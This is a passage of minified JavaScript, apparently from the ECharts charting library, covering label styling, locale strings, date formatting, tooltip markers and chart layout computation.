Hu,a=!1,o=0;o<cd.length;o++){var s=t[cd[o]];if(s&&s.getShallow(`show`)){a=!0;break}}var c=i?e:e.getTextContent();if(a){i||(c||(c=new Hu,e.setTextContent(c)),e.stateProxy&&(c.stateProxy=e.stateProxy));var l=Lm(n,t),u=t.normal,d=!!u.getShallow(`show`),f=Bm(u,r&&r.normal,n,!1,!i);f.text=l.normal,i||e.setTextConfig(Vm(u,n,!1));for(var o=0;o<sd.length;o++){var p=sd[o],s=t[p];if(s){var m=c.ensureState(p),h=!!W(s.getShallow(`show`),d);if(h!==d&&(m.ignore=!h),m.style=Bm(s,r&&r[p],n,!0,!i),m.style.text=l[p],!i){var g=e.ensureState(p);g.textConfig=Vm(s,n,!0)}}}c.silent=!!u.getShallow(`silent`),c.style.x!=null&&(f.x=c.style.x),c.style.y!=null&&(f.y=c.style.y),c.ignore=!d,c.useStyle(f),c.dirty(),n.enableTextSetter&&(Ym(c).setLabelText=function(e){var r=Lm(n,t,e);Im(c,r)})}else c&&(c.ignore=!0);e.dirty()}function zm(e,t){t||=`label`;for(var n={normal:e.getModel(t)},r=0;r<sd.length;r++){var i=sd[r];n[i]=e.getModel([i,t])}return n}function Bm(e,t,n,r,i){var a={};return Hm(a,e,n,r,i),t&&F(a,t),a}function Vm(e,t,n){t||={};var r={},i,a=e.getShallow(`rotate`),o=W(e.getShallow(`distance`),n?null:5),s=e.getShallow(`offset`);return i=e.getShallow(`position`)||(n?null:`inside`),i===`outside`&&(i=t.defaultOutsidePosition||`top`),i!=null&&(r.position=i),s!=null&&(r.offset=s),a!=null&&(a*=Math.PI/180,r.rotation=a),o!=null&&(r.distance=o),r.outsideFill=e.get(`color`)===`inherit`?t.inheritColor||null:`auto`,t.autoOverflowArea!=null&&(r.autoOverflowArea=t.autoOverflowArea),t.layoutRect!=null&&(r.layoutRect=t.layoutRect),r}function Hm(e,t,n,r,i){n||=Fm;var a=t.ecModel,o=a&&a.option.textStyle,s=Um(t),c;if(s){c={};var l=`richInheritPlainLabel`,u=W(t.get(l),a?a.get(l):void 0);for(var d in s)if(s.hasOwnProperty(d)){var f=t.getModel([`rich`,d]);qm(c[d]={},f,o,t,u,n,r,i,!1,!0)}}c&&(e.rich=c);var p=t.get(`overflow`);p&&(e.overflow=p);var m=t.get(`lineOverflow`);m&&(e.lineOverflow=m);var h=e,g=t.get(`minMargin`);if(g!=null)g=ht(g)?g/2:0,h.margin=[g,g,g,g],h.__marginType=Qm.minMargin;else{var _=t.get(`textMargin`);_!=null&&(h.margin=Et(_),h.__marginType=Qm.textMargin)}qm(e,t,o,null,null,n,r,i,!0,!1)}function Um(e){for(var t;e&&e!==e.ecModel;){var n=(e.option||Fm).rich;if(n){t||={};for(var r=dt(n),i=0;i<r.length;i++){var a=r[i];t[a]=1}}e=e.parentModel}return t}var Wm=[`fontStyle`,`fontWeight`,`fontSize`,`fontFamily`,`textShadowColor`,`textShadowBlur`,`textShadowOffsetX`,`textShadowOffsetY`],Gm=[`align`,`lineHeight`,`width`,`height`,`tag`,`verticalAlign`,`ellipsis`],Km=[`padding`,`borderWidth`,`borderRadius`,`borderDashOffset`,`backgroundColor`,`borderColor`,`shadowColor`,`shadowBlur`,`shadowOffsetX`,`shadowOffsetY`];function qm(e,t,n,r,i,a,o,s,c,l){n=!o&&n||Fm;var u=a&&a.inheritColor,d=t.getShallow(`color`),f=t.getShallow(`textBorderColor`),p=W(t.getShallow(`opacity`),n.opacity);(d===`inherit`||d===`auto`)&&(d=u||null),(f===`inherit`||f===`auto`)&&(f=u||null),s||(d||=n.color,f||=n.textBorderColor),d!=null&&(e.fill=d),f!=null&&(e.stroke=f);var m=W(t.getShallow(`textBorderWidth`),n.textBorderWidth);m!=null&&(e.lineWidth=m);var h=W(t.getShallow(`textBorderType`),n.textBorderType);h!=null&&(e.lineDash=h);var g=W(t.getShallow(`textBorderDashOffset`),n.textBorderDashOffset);g!=null&&(e.lineDashOffset=g),!o&&p==null&&!l&&(p=a&&a.defaultOpacity),p!=null&&(e.opacity=p),!o&&!s&&e.fill==null&&a.inheritColor&&(e.fill=a.inheritColor);for(var _=0;_<Wm.length;_++){var v=Wm[_],y=i!==!1&&r?wt(t.getShallow(v),r.getShallow(v),n[v]):W(t.getShallow(v),n[v]);y!=null&&(e[v]=y)}for(var _=0;_<Gm.length;_++){var v=Gm[_],y=t.getShallow(v);y!=null&&(e[v]=y)}if(e.verticalAlign==null){var b=t.getShallow(`baseline`);b!=null&&(e.verticalAlign=b)}if(!c||!a.disableBox){for(var _=0;_<Km.length;_++){var v=Km[_],y=t.getShallow(v);y!=null&&(e[v]=y)}var x=t.getShallow(`borderType`);x!=null&&(e.borderDash=x),(e.backgroundColor===`auto`||e.backgroundColor===`inherit`)&&u&&(e.backgroundColor=u),(e.borderColor===`auto`||e.borderColor===`inherit`)&&u&&(e.borderColor=u)}}function Jm(e,t){var n=t&&t.getModel(`textStyle`);return Ot([e.fontStyle||n&&n.getShallow(`fontStyle`)||``,e.fontWeight||n&&n.getShallow(`fontWeight`)||``,(e.fontSize||n&&n.getShallow(`fontSize`)||12)+`px`,e.fontFamily||n&&n.getShallow(`fontFamily`)||`sans-serif`].join(` `))}var Ym=oc();function Xm(e,t,n,r){if(e){var i=Ym(e);i.prevValue=i.value,i.value=n;var a=t.normal;i.valueAnimation=a.get(`valueAnimation`),i.valueAnimation&&(i.precision=a.get(`precision`),i.defaultInterpolatedText=r,i.statesModels=t)}}function Zm(e,t,n,r,i){var a=Ym(e);if(!a.valueAnimation||a.prevValue===a.value)return;var o=a.defaultInterpolatedText,s=W(a.interpolatedValue,a.prevValue),c=a.value;function l(r){var l=_c(n,a.precision,s,c,r);a.interpolatedValue=r===1?null:l,Im(e,Lm({labelDataIndex:t,labelFetcher:i,defaultText:o?o(l):l+``},a.statesModels,l))}e.percent=0,(a.prevValue==null?Rp:Lp)(e,{percent:1},r,t,null,l)}var Qm={minMargin:1,textMargin:2},$m=[`textStyle`,`color`],eh=[`fontStyle`,`fontWeight`,`fontSize`,`fontFamily`,`padding`,`lineHeight`,`rich`,`width`,`height`,`overflow`],th=new Hu,nh=function(){function e(){}return e.prototype.getTextColor=function(e){var t=this.ecModel;return this.getShallow(`color`)||(!e&&t?t.get($m):null)},e.prototype.getFont=function(){return Jm({fontStyle:this.getShallow(`fontStyle`),fontWeight:this.getShallow(`fontWeight`),fontSize:this.getShallow(`fontSize`),fontFamily:this.getShallow(`fontFamily`)},this.ecModel)},e.prototype.getTextRect=function(e){for(var t={text:e,verticalAlign:this.getShallow(`verticalAlign`)||this.getShallow(`baseline`)},n=0;n<eh.length;n++)t[eh[n]]=this.getShallow(eh[n]);return th.useStyle(t),th.update(),th.getBoundingRect()},e}(),rh=[[`lineWidth`,`width`],[`stroke`,`color`],[`opacity`],[`shadowBlur`],[`shadowOffsetX`],[`shadowOffsetY`],[`shadowColor`],[`lineDash`,`type`],[`lineDashOffset`,`dashOffset`],[`lineCap`,`cap`],[`lineJoin`,`join`],[`miterLimit`]],ih=Pc(rh),ah=function(){function e(){}return e.prototype.getLineStyle=function(e){return ih(this,e)},e}(),oh=[[`fill`,`color`],[`stroke`,`borderColor`],[`lineWidth`,`borderWidth`],[`opacity`],[`shadowBlur`],[`shadowOffsetX`],[`shadowOffsetY`],[`shadowColor`],[`lineDash`,`borderType`],[`lineDashOffset`,`borderDashOffset`],[`lineCap`,`borderCap`],[`lineJoin`,`borderJoin`],[`miterLimit`,`borderMiterLimit`]],sh=Pc(oh),ch=function(){function e(){}return e.prototype.getItemStyle=function(e,t){return sh(this,e,t)},e}(),lh=function(){function e(e,t,n){this.parentModel=t,this.ecModel=n,this.option=e}return e.prototype.init=function(e,t,n){for(var r=[],i=3;i<arguments.length;i++)r[i-3]=arguments[i]},e.prototype.mergeOption=function(e,t){nt(this.option,e,!0)},e.prototype.get=function(e,t){return e==null?this.option:this._doGet(this.parsePath(e),!t&&this.parentModel)},e.prototype.getShallow=function(e,t){var n=this.option,r=n==null?n:n[e];if(r==null&&!t){var i=this.parentModel;i&&(r=i.getShallow(e))}return r},e.prototype.getModel=function(t,n){var r=t!=null,i=r?this.parsePath(t):null,a=r?this._doGet(i):this.option;return n||=this.parentModel&&this.parentModel.getModel(this.resolveParentPath(i)),new e(a,n,this.ecModel)},e.prototype.isEmpty=function(){return this.option==null},e.prototype.restoreData=function(){},e.prototype.clone=function(){var e=this.constructor;return new e(P(this.option))},e.prototype.parsePath=function(e){return typeof e==`string`?e.split(`.`):e},e.prototype.resolveParentPath=function(e){return e},e.prototype.isAnimationEnabled=function(){if(!Ne.node&&this.option){if(this.option.animation!=null)return!!this.option.animation;if(this.parentModel)return this.parentModel.isAnimationEnabled()}},e.prototype._doGet=function(e,t){var n=this.option;if(!e)return n;for(var r=0;r<e.length&&!(e[r]&&(n=n&&typeof n==`object`?n[e[r]]:null,n==null));r++);return n==null&&t&&(n=t._doGet(this.resolveParentPath(e),t.parentModel)),n},e}();Ec(lh),Ac(lh),ot(lh,ah),ot(lh,ch),ot(lh,Ic),ot(lh,nh);var uh=Math.round(Math.random()*10);function dh(e){return[e||``,uh++].join(`_`)}function fh(e){var t={};e.registerSubTypeDefaulter=function(e,n){var r=Cc(e);t[r.main]=n},e.determineSubType=function(n,r){var i=r.type;if(!i){var a=Cc(n).main;e.hasSubTypes(n)&&t[a]&&(i=t[a](r))}return i}}function ph(e,t){e.topologicalTravel=function(e,t,r,i){if(!e.length)return;var a=n(t),o=a.graph,s=a.noEntryList,c={};for(L(e,function(e){c[e]=!0});s.length;){var l=s.pop(),u=o[l],d=!!c[l];d&&(r.call(i,l,u.originalDeps.slice()),delete c[l]),L(u.successor,d?p:f)}L(c,function(){throw Error(``)});function f(e){o[e].entryCount--,o[e].entryCount===0&&s.push(e)}function p(e){c[e]=!0,f(e)}};function n(e){var n={},a=[];return L(e,function(o){var s=r(n,o),c=i(s.originalDeps=t(o),e);s.entryCount=c.length,s.entryCount===0&&a.push(o),L(c,function(e){it(s.predecessor,e)<0&&s.predecessor.push(e);var t=r(n,e);it(t.successor,e)<0&&t.successor.push(o)})}),{graph:n,noEntryList:a}}function r(e,t){return e[t]||(e[t]={predecessor:[],successor:[]}),e[t]}function i(e,t){var n=[];return L(e,function(e){it(t,e)>=0&&n.push(e)}),n}}function mh(e,t){return nt(nt({},e,!0),t,!0)}var hh={time:{month:[`January`,`February`,`March`,`April`,`May`,`June`,`July`,`August`,`September`,`October`,`November`,`December`],monthAbbr:[`Jan`,`Feb`,`Mar`,`Apr`,`May`,`Jun`,`Jul`,`Aug`,`Sep`,`Oct`,`Nov`,`Dec`],dayOfWeek:[`Sunday`,`Monday`,`Tuesday`,`Wednesday`,`Thursday`,`Friday`,`Saturday`],dayOfWeekAbbr:[`Sun`,`Mon`,`Tue`,`Wed`,`Thu`,`Fri`,`Sat`]},legend:{selector:{all:`All`,inverse:`Inv`}},toolbox:{brush:{title:{rect:`Box Select`,polygon:`Lasso Select`,lineX:`Horizontally Select`,lineY:`Vertically Select`,keep:`Keep Selections`,clear:`Clear Selections`}},dataView:{title:`Data View`,lang:[`Data View`,`Close`,`Refresh`]},dataZoom:{title:{zoom:`Zoom`,back:`Zoom Reset`}},magicType:{title:{line:`Switch to Line Chart`,bar:`Switch to Bar Chart`,stack:`Stack`,tiled:`Tile`}},restore:{title:`Restore`},saveAsImage:{title:`Save as Image`,lang:[`Right Click to Save Image`]}},series:{typeNames:{pie:`Pie chart`,bar:`Bar chart`,line:`Line chart`,scatter:`Scatter plot`,effectScatter:`Ripple scatter plot`,radar:`Radar chart`,tree:`Tree`,treemap:`Treemap`,boxplot:`Boxplot`,candlestick:`Candlestick`,k:`K line chart`,heatmap:`Heat map`,map:`Map`,parallel:`Parallel coordinate map`,lines:`Line graph`,graph:`Relationship graph`,sankey:`Sankey diagram`,funnel:`Funnel chart`,gauge:`Gauge`,pictorialBar:`Pictorial bar`,themeRiver:`Theme River Map`,sunburst:`Sunburst`,custom:`Custom chart`,chart:`Chart`}},aria:{general:{withTitle:`This is a chart about "{title}"`,withoutTitle:`This is a chart`},series:{single:{prefix:``,withName:` with type {seriesType} named {seriesName}.`,withoutName:` with type {seriesType}.`},multiple:{prefix:`. It consists of {seriesCount} series count.`,withName:` The {seriesId} series is a {seriesType} representing {seriesName}.`,withoutName:` The {seriesId} series is a {seriesType}.`,separator:{middle:``,end:``}}},data:{allData:`The data is as follows: `,partialData:`The first {displayCnt} items are: `,withName:`the data for {name} is {value}`,withoutName:`{value}`,separator:{middle:`, `,end:`. `}}}},gh={time:{month:[`一月`,`二月`,`三月`,`四月`,`五月`,`六月`,`七月`,`八月`,`九月`,`十月`,`十一月`,`十二月`],monthAbbr:[`1月`,`2月`,`3月`,`4月`,`5月`,`6月`,`7月`,`8月`,`9月`,`10月`,`11月`,`12月`],dayOfWeek:[`星期日`,`星期一`,`星期二`,`星期三`,`星期四`,`星期五`,`星期六`],dayOfWeekAbbr:[`日`,`一`,`二`,`三`,`四`,`五`,`六`]},legend:{selector:{all:`全选`,inverse:`反选`}},toolbox:{brush:{title:{rect:`矩形选择`,polygon:`圈选`,lineX:`横向选择`,lineY:`纵向选择`,keep:`保持选择`,clear:`清除选择`}},dataView:{title:`数据视图`,lang:[`数据视图`,`关闭`,`刷新`]},dataZoom:{title:{zoom:`区域缩放`,back:`区域缩放还原`}},magicType:{title:{line:`切换为折线图`,bar:`切换为柱状图`,stack:`切换为堆叠`,tiled:`切换为平铺`}},restore:{title:`还原`},saveAsImage:{title:`保存为图片`,lang:[`右键另存为图片`]}},series:{typeNames:{pie:`饼图`,bar:`柱状图`,line:`折线图`,scatter:`散点图`,effectScatter:`涟漪散点图`,radar:`雷达图`,tree:`树图`,treemap:`矩形树图`,boxplot:`箱型图`,candlestick:`K线图`,k:`K线图`,heatmap:`热力图`,map:`地图`,parallel:`平行坐标图`,lines:`线图`,graph:`关系图`,sankey:`桑基图`,funnel:`漏斗图`,gauge:`仪表盘图`,pictorialBar:`象形柱图`,themeRiver:`主题河流图`,sunburst:`旭日图`,custom:`自定义图表`,chart:`图表`}},aria:{general:{withTitle:`这是一个关于“{title}”的图表。`,withoutTitle:`这是一个图表,`},series:{single:{prefix:``,withName:`图表类型是{seriesType},表示{seriesName}。`,withoutName:`图表类型是{seriesType}。`},multiple:{prefix:`它由{seriesCount}个图表系列组成。`,withName:`第{seriesId}个系列是一个表示{seriesName}的{seriesType},`,withoutName:`第{seriesId}个系列是一个{seriesType},`,separator:{middle:`;`,end:`。`}}},data:{allData:`其数据是——`,partialData:`其中,前{displayCnt}项是——`,withName:`{name}的数据是{value}`,withoutName:`{value}`,separator:{middle:`,`,end:``}}}},_h=`ZH`,vh=`EN`,yh=vh,bh={},xh={},Sh=Ne.domSupported?function(){return(document.documentElement.lang||navigator.language||navigator.browserLanguage||yh).toUpperCase().indexOf(_h)>-1?_h:yh}():yh;function Ch(e,t){e=e.toUpperCase(),xh[e]=new lh(t),bh[e]=t}function wh(e){if(H(e)){var t=bh[e.toUpperCase()]||{};return e===_h||e===vh?P(t):nt(P(t),P(bh[yh]),!1)}else return nt(P(e),P(bh[yh]),!1)}function Th(e){return xh[e]}function Eh(){return xh[yh]}Ch(vh,hh),Ch(_h,gh);var Dh=null;function Oh(e){Dh||=e}function kh(){return Dh}var Ah=1e3,jh=Ah*60,Mh=jh*60,Nh=Mh*24,Ph=Nh*365,Fh={year:/({yyyy}|{yy})/,month:/({MMMM}|{MMM}|{MM}|{M})/,day:/({dd}|{d})/,hour:/({HH}|{H}|{hh}|{h})/,minute:/({mm}|{m})/,second:/({ss}|{s})/,millisecond:/({SSS}|{S})/},Ih={year:`{yyyy}`,month:`{MMM}`,day:`{d}`,hour:`{HH}:{mm}`,minute:`{HH}:{mm}`,second:`{HH}:{mm}:{ss}`,millisecond:`{HH}:{mm}:{ss} {SSS}`},Lh=`{yyyy}-{MM}-{dd} {HH}:{mm}:{ss} {SSS}`,Rh=`{yyyy}-{MM}-{dd}`,zh={year:`{yyyy}`,month:`{yyyy}-{MM}`,day:Rh,hour:Rh+` `+Ih.hour,minute:Rh+` `+Ih.minute,second:Rh+` `+Ih.second,millisecond:Lh},Bh=[`year`,`month`,`day`,`hour`,`minute`,`second`,`millisecond`],Vh=[`year`,`half-year`,`quarter`,`month`,`week`,`half-week`,`day`,`half-day`,`quarter-day`,`hour`,`minute`,`second`,`millisecond`];function Hh(e){return!H(e)&&!V(e)?Uh(e):e}function Uh(e){e||={};var t={},n=!0;return L(Bh,function(t){n&&=e[t]==null}),L(Bh,function(r,i){var a=e[r];t[r]={};for(var o=null,s=i;s>=0;s--){var c=Bh[s],l=U(a)&&!B(a)?a[c]:a,u=void 0;B(l)?(u=l.slice(),o=u[0]||``):H(l)?(o=l,u=[o]):(o==null?o=Ih[r]:Fh[c].test(o)||(o=t[c][c][0]+` `+o),u=[o],n&&(u[1]=`{primary|`+o+`}`)),t[r][c]=u}}),t}function Wh(e,t){return e+=``,`0000`.substr(0,t-e.length)+e}function Gh(e){switch(e){case`half-year`:case`quarter`:return`month`;case`week`:case`half-week`:return`day`;case`half-day`:case`quarter-day`:return`hour`;default:return e}}function Kh(e){return e===Gh(e)}function qh(e){switch(e){case`year`:case`month`:return`day`;case`millisecond`:return`millisecond`;default:return`second`}}function Jh(e,t,n,r){var i=vs(e),a=i[Qh(n)](),o=i[$h(n)]()+1,s=Math.floor((o-1)/3)+1,c=i[eg(n)](),l=i[`get`+(n?`UTC`:``)+`Day`](),u=i[tg(n)](),d=(u-1)%12+1,f=i[ng(n)](),p=i[rg(n)](),m=i[ig(n)](),h=u>=12?`pm`:`am`,g=h.toUpperCase(),_=(r instanceof lh?r:Th(r||Sh)||Eh()).getModel(`time`),v=_.get(`month`),y=_.get(`monthAbbr`),b=_.get(`dayOfWeek`),x=_.get(`dayOfWeekAbbr`);return(t||``).replace(/{a}/g,h+``).replace(/{A}/g,g+``).replace(/{yyyy}/g,a+``).replace(/{yy}/g,Wh(a%100+``,2)).replace(/{Q}/g,s+``).replace(/{MMMM}/g,v[o-1]).replace(/{MMM}/g,y[o-1]).replace(/{MM}/g,Wh(o,2)).replace(/{M}/g,o+``).replace(/{dd}/g,Wh(c,2)).replace(/{d}/g,c+``).replace(/{eeee}/g,b[l]).replace(/{ee}/g,x[l]).replace(/{e}/g,l+``).replace(/{HH}/g,Wh(u,2)).replace(/{H}/g,u+``).replace(/{hh}/g,Wh(d+``,2)).replace(/{h}/g,d+``).replace(/{mm}/g,Wh(f,2)).replace(/{m}/g,f+``).replace(/{ss}/g,Wh(p,2)).replace(/{s}/g,p+``).replace(/{SSS}/g,Wh(m,3)).replace(/{S}/g,m+``)}function Yh(e,t,n,r,i){var a=null;if(H(n))a=n;else if(V(n)){var o={time:e.time,level:e.time.level},s=kh();s&&s.makeAxisLabelFormatterParamBreak(o,e.break),a=n(e.value,t,o)}else{var c=e.time;if(c){var l=n[c.lowerTimeUnit][c.upperTimeUnit];a=l[Math.min(c.level,l.length-1)]||``}else{var u=Xh(e.value,i);a=n[u][u][0]}}return Jh(new Date(e.value),a,i,r)}function Xh(e,t){var n=vs(e),r=n[$h(t)]()+1,i=n[eg(t)](),a=n[tg(t)](),o=n[ng(t)](),s=n[rg(t)](),c=n[ig(t)]()===0,l=c&&s===0,u=l&&o===0,d=u&&a===0,f=d&&i===1;return f&&r===1?`year`:f?`month`:d?`day`:u?`hour`:l?`minute`:c?`second`:`millisecond`}function Zh(e,t,n){switch(t){case`year`:e[og(n)](0);case`month`:e[sg(n)](1);case`day`:e[cg(n)](0);case`hour`:e[lg(n)](0);case`minute`:e[ug(n)](0);case`second`:e[dg(n)](0)}return e}function Qh(e){return e?`getUTCFullYear`:`getFullYear`}function $h(e){return e?`getUTCMonth`:`getMonth`}function eg(e){return e?`getUTCDate`:`getDate`}function tg(e){return e?`getUTCHours`:`getHours`}function ng(e){return e?`getUTCMinutes`:`getMinutes`}function rg(e){return e?`getUTCSeconds`:`getSeconds`}function ig(e){return e?`getUTCMilliseconds`:`getMilliseconds`}function ag(e){return e?`setUTCFullYear`:`setFullYear`}function og(e){return e?`setUTCMonth`:`setMonth`}function sg(e){return e?`setUTCDate`:`setDate`}function cg(e){return e?`setUTCHours`:`setHours`}function lg(e){return e?`setUTCMinutes`:`setMinutes`}function ug(e){return e?`setUTCSeconds`:`setSeconds`}function dg(e){return e?`setUTCMilliseconds`:`setMilliseconds`}function fg(e){if(!Ts(e))return H(e)?e:`-`;var t=(e+``).split(`.`);return t[0].replace(/(\d{1,3})(?=(?:\d{3})+(?!\d))/g,`$1,`)+(t.length>1?`.`+t[1]:``)}function pg(e,t){return e=(e||``).toLowerCase().replace(/-(.)/g,function(e,t){return t.toUpperCase()}),t&&e&&(e=e.charAt(0).toUpperCase()+e.slice(1)),e}var mg=Et;function hg(e,t,n){var r=`{yyyy}-{MM}-{dd} {HH}:{mm}:{ss}`;function i(e){return e&&Ot(e)?e:`-`}function a(e){return!!(e!=null&&!isNaN(e)&&isFinite(e))}var o=t===`time`,s=e instanceof Date;if(o||s){var c=o?vs(e):e;if(!isNaN(+c))return Jh(c,r,n);if(s)return`-`}if(t===`ordinal`)return mt(e)?i(e):ht(e)&&a(e)?e+``:`-`;var l=ws(e);return a(l)?fg(l):mt(e)?i(e):typeof e==`boolean`?e+``:`-`}var gg=[`a`,`b`,`c`,`d`,`e`,`f`,`g`],_g=function(e,t){return`{`+e+(t??``)+`}`};function vg(e,t,n){B(t)||(t=[t]);var r=t.length;if(!r)return``;for(var i=t[0].$vars||[],a=0;a<i.length;a++){var o=gg[a];e=e.replace(_g(o),_g(o,0))}for(var s=0;s<r;s++)for(var c=0;c<i.length;c++){var l=t[s][i[c]];e=e.replace(_g(gg[c],s),n?Cn(l):l)}return e}function yg(e,t,n){return L(t,function(t,r){e=e.replace(`{`+r+`}`,n?Cn(t):t)}),e}function bg(e,t){var n=H(e)?{color:e,extraCssText:t}:e||{},r=n.color,i=n.type;t=n.extraCssText;var a=n.renderMode||`html`;return r?a===`html`?i===`subItem`?`<span style="display:inline-block;vertical-align:middle;margin-right:8px;margin-left:3px;border-radius:4px;width:4px;height:4px;background-color:`+Cn(r)+`;`+(t||``)+`"></span>`:`<span style="display:inline-block;margin-right:4px;border-radius:10px;width:10px;height:10px;background-color:`+Cn(r)+`;`+(t||``)+`"></span>`:{renderMode:a,content:`{`+(n.markerId||`markerX`)+`|} `,style:i===`subItem`?{width:4,height:4,borderRadius:2,backgroundColor:r}:{width:10,height:10,borderRadius:5,backgroundColor:r}}:``}function xg(e,t){return t||=`transparent`,H(e)?e:U(e)&&e.colorStops&&(e.colorStops[0]||{}).color||t}function Sg(e,t){if(t===`_blank`||t===`blank`){var n=window.open();n.opener=null,n.location.href=e}else window.open(e,t)}var Cg={},wg={},Tg=function(){function e(){this._normalMasterList=[],this._nonSeriesBoxMasterList=[]}return e.prototype.create=function(e,t){this._nonSeriesBoxMasterList=n(Cg,!0),this._normalMasterList=n(wg,!1);function n(n,r){var i=[];return L(n,function(n,r){var a=n.create(e,t);i=i.concat(a||[])}),i}},e.prototype.update=function(e,t){L(this._normalMasterList,function(n){n.update&&n.update(e,t)})},e.prototype.getCoordinateSystems=function(){return this._normalMasterList.concat(this._nonSeriesBoxMasterList)},e.register=function(e,t){if(e===`matrix`||e===`calendar`){Cg[e]=t;return}wg[e]=t},e.get=function(e){return wg[e]||Cg[e]},e}();function Eg(e){return!!Cg[e]}var Dg={coord:1,coord2:2};function Og(e){kg.set(e.fullType,{getCoord2:void 0}).getCoord2=e.getCoord2}var kg=G();function Ag(e){var t=e.getShallow(`coord`,!0),n=Dg.coord;if(t==null){var r=kg.get(e.type);r&&r.getCoord2&&(n=Dg.coord2,t=r.getCoord2(e))}return{coord:t,from:n}}var jg={none:0,dataCoordSys:1,boxCoordSys:2};function Mg(e,t){var n=e.getShallow(`coordinateSystem`),r=e.getShallow(`coordinateSystemUsage`,!0),i=jg.none;if(n){var a=e.mainType===`series`;r??=a?`data`:`box`,r===`data`?(i=jg.dataCoordSys,a||(i=jg.none)):r===`box`&&(i=jg.boxCoordSys,!a&&!Eg(n)&&(i=jg.none))}return{coordSysType:n,kind:i}}function Ng(e){var t=e.targetModel,n=e.coordSysType,r=e.coordSysProvider,i=e.isDefaultDataCoordSys;e.allowNotFound;var a=Mg(t,!0),o=a.kind,s=a.coordSysType;if(i&&o!==jg.dataCoordSys&&(o=jg.dataCoordSys,s=n),o===jg.none||s!==n)return!1;var c=r(n,t);return c?(o===jg.dataCoordSys?t.coordinateSystem=c:t.boxCoordinateSystem=c,!0):!1}var Pg=function(e,t){var n=t.getReferringComponents(e,uc).models[0];return n&&n.coordinateSystem},Fg=L,Ig=[`left`,`right`,`top`,`bottom`,`width`,`height`],Lg=[[`width`,`left`,`right`],[`height`,`top`,`bottom`]];function Rg(e,t,n,r,i){var a=0,o=0;r??=1/0,i??=1/0;var s=0;t.eachChild(function(c,l){var u=c.getBoundingRect(),d=t.childAt(l+1),f=d&&d.getBoundingRect(),p,m;if(e===`horizontal`){var h=u.width+(f?-f.x+u.x:0);p=a+h,p>r||c.newline?(a=0,p=h,o+=s+n,s=u.height):s=Math.max(s,u.height)}else{var g=u.height+(f?-f.y+u.y:0);m=o+g,m>i||c.newline?(a+=s+n,o=0,m=g,s=u.width):s=Math.max(s,u.width)}c.newline||(c.x=a,c.y=o,c.markRedraw(),e===`horizontal`?a=p+n:o=m+n)})}var zg=Rg;pt(Rg,`vertical`),pt(Rg,`horizontal`);function Bg(e,t){return{left:e.getShallow(`left`,t),top:e.getShallow(`top`,t),right:e.getShallow(`right`,t),bottom:e.getShallow(`bottom`,t),width:e.getShallow(`width`,t),height:e.getShallow(`height`,t)}}function Vg(e,t){var n=Kg(e,t,{enableLayoutOnlyByCenter:!0}),r=e.getBoxLayoutParams(),i,a;if(n.type===Gg.point)a=n.refPoint,i=Ug(r,{width:t.getWidth(),height:t.getHeight()});else{var o=e.get(`center`),s=B(o)?o:[o,o];i=Ug(r,n.refContainer),a=n.boxCoordFrom===Dg.coord2?n.refPoint:[X(s[0],i.width)+i.x,X(s[1],i.height)+i.y]}return{viewRect:i,center:a}}function Hg(e,t){var n=Vg(e,t),r=n.viewRect,i=n.center,a=e.get(`radius`);B(a)||(a=[0,a]);var o=X(r.width,t.getWidth()),s=X(r.height,t.getHeight()),c=Math.min(o,s),l=X(a[0],c/2),u=X(a[1],c/2);return{cx:i[0],cy:i[1],r0:l,r:u,viewRect:r}}function Ug(e,t,n){n=mg(n||0);var r=t.width,i=t.height,a=X(e.left,r),o=X(e.top,i),s=X(e.right,r),c=X(e.bottom,i),l=X(e.width,r),u=X(e.height,i),d=n[2]+n[0],f=n[1]+n[3],p=e.aspect;switch(isNaN(l)&&(l=r-s-f-a),isNaN(u)&&(u=i-c-d-o),p!=null&&(isNaN(l)&&isNaN(u)&&(p>r/i?l=r*.8:u=i*.8),isNaN(l)&&(l=p*u),isNaN(u)&&(u=l/p)),isNaN(a)&&(a=r-s-l-f),isNaN(o)&&(o=i-c-u-d),e.left||e.right){case`center`:a=r/2-l/2-n[3];break;case`right`:a=r-l-f;break}switch(e.top||e.bottom){case`middle`:case`center`:o=i/2-u/2-n[0];break;case`bottom`:o=i-u-d;break}a||=0,o||=0,isNaN(l)&&(l=r-f-a-(s||0)),isNaN(u)&&(u=i-d-o-(c||0));var m=new J((t.x||0)+a+n[3],(t.y||0)+o+n[0],l,u);return m.margin=n,m}function Wg(e,t,n){var r=e.getShallow(`preserveAspect`,!0);if(!r)return t;var i=t.width/t.height;if(Math.abs(Math.atan(n)-Math.atan(i))<1e-9)return t;var a=e.getShallow(`preserveAspectAlign`,!0),o=e.getShallow(`preserveAspectVerticalAlign`,!0),s={width:t.width,height:t.height},c=r===`cover`;return i>n&&!c||i<n&&c?(s.width=t.height*n,a===`left`?s.left=0:a===`right`?s.right=0:s.left=`center`):(s.height=t.width/n,o===`top`?s.top=0:o===`bottom`?s.bottom=0:s.top=`middle`),Ug(s,t)}var Gg={rect:1,point:2};function Kg(e,t,n){var r,i,a,o=e.boxCoordinateSystem,s;if(o){var c=Ag(e),l=c.coord,u=c.from;if(o.dataToLayout){a=Gg.rect,s=u;var d=o.dataToLayout(l);r=d.contentRect||d.rect}else n&&n.enableLayoutOnlyByCenter&&o.dataToPoint&&(a=Gg.point,s=u,i=o.dataToPoint(l))}return a??=Gg.rect,a===Gg.rect&&(r||={x:0,y:0,width:t.getWidth(),height:t.getHeight()},i=[r.x+r.width/2,r.y+r.height/2]),{type:a,refContainer:r,refPoint:i,boxCoordFrom:s}}function qg(e,t,n,r,i,a){var o=!i||!i.hv||i.hv[0],s=!i||!i.hv||i.hv[1],c=i&&i.boundingMode||`all`;if(a||=e,a.x=e.x,a.y=e.y,!o&&!s)return!1;var l;if(c===`raw`)l=e.type===`group`?new J(0,0,+t.width||0,+t.height||0):e.getBoundingRect();else if(l=e.getBoundingRect(),e.needLocalTransform()){var u=e.getLocalTransform();l=l.clone(),l.applyTransform(u)}var d=Ug(I({width:l.width,height:l.height},t),n,r),f=o?d.x-l.x:0,p=s?d.y-l.y:0;return c===`raw`?(a.x=f,a.y=p):(a.x+=f,a.y+=p),a===e&&e.markRedraw(),!0}function Jg(e,t){return e[Lg[t][0]]!=null||e[Lg[t][1]]!=null&&e[Lg[t][2]]!=null}function Yg(e){var t=e.layoutMode||e.constructor.layoutMode;return U(t)?t:t?{type:t}:null}function Xg(e,t,n){var r=n&&n.ignoreSize;!B(r)&&(r=[r,r]);var i=o(Lg[0],0),a=o(Lg[1],1);c(Lg[0],e,i),c(Lg[1],e,a);function o(n,i){var 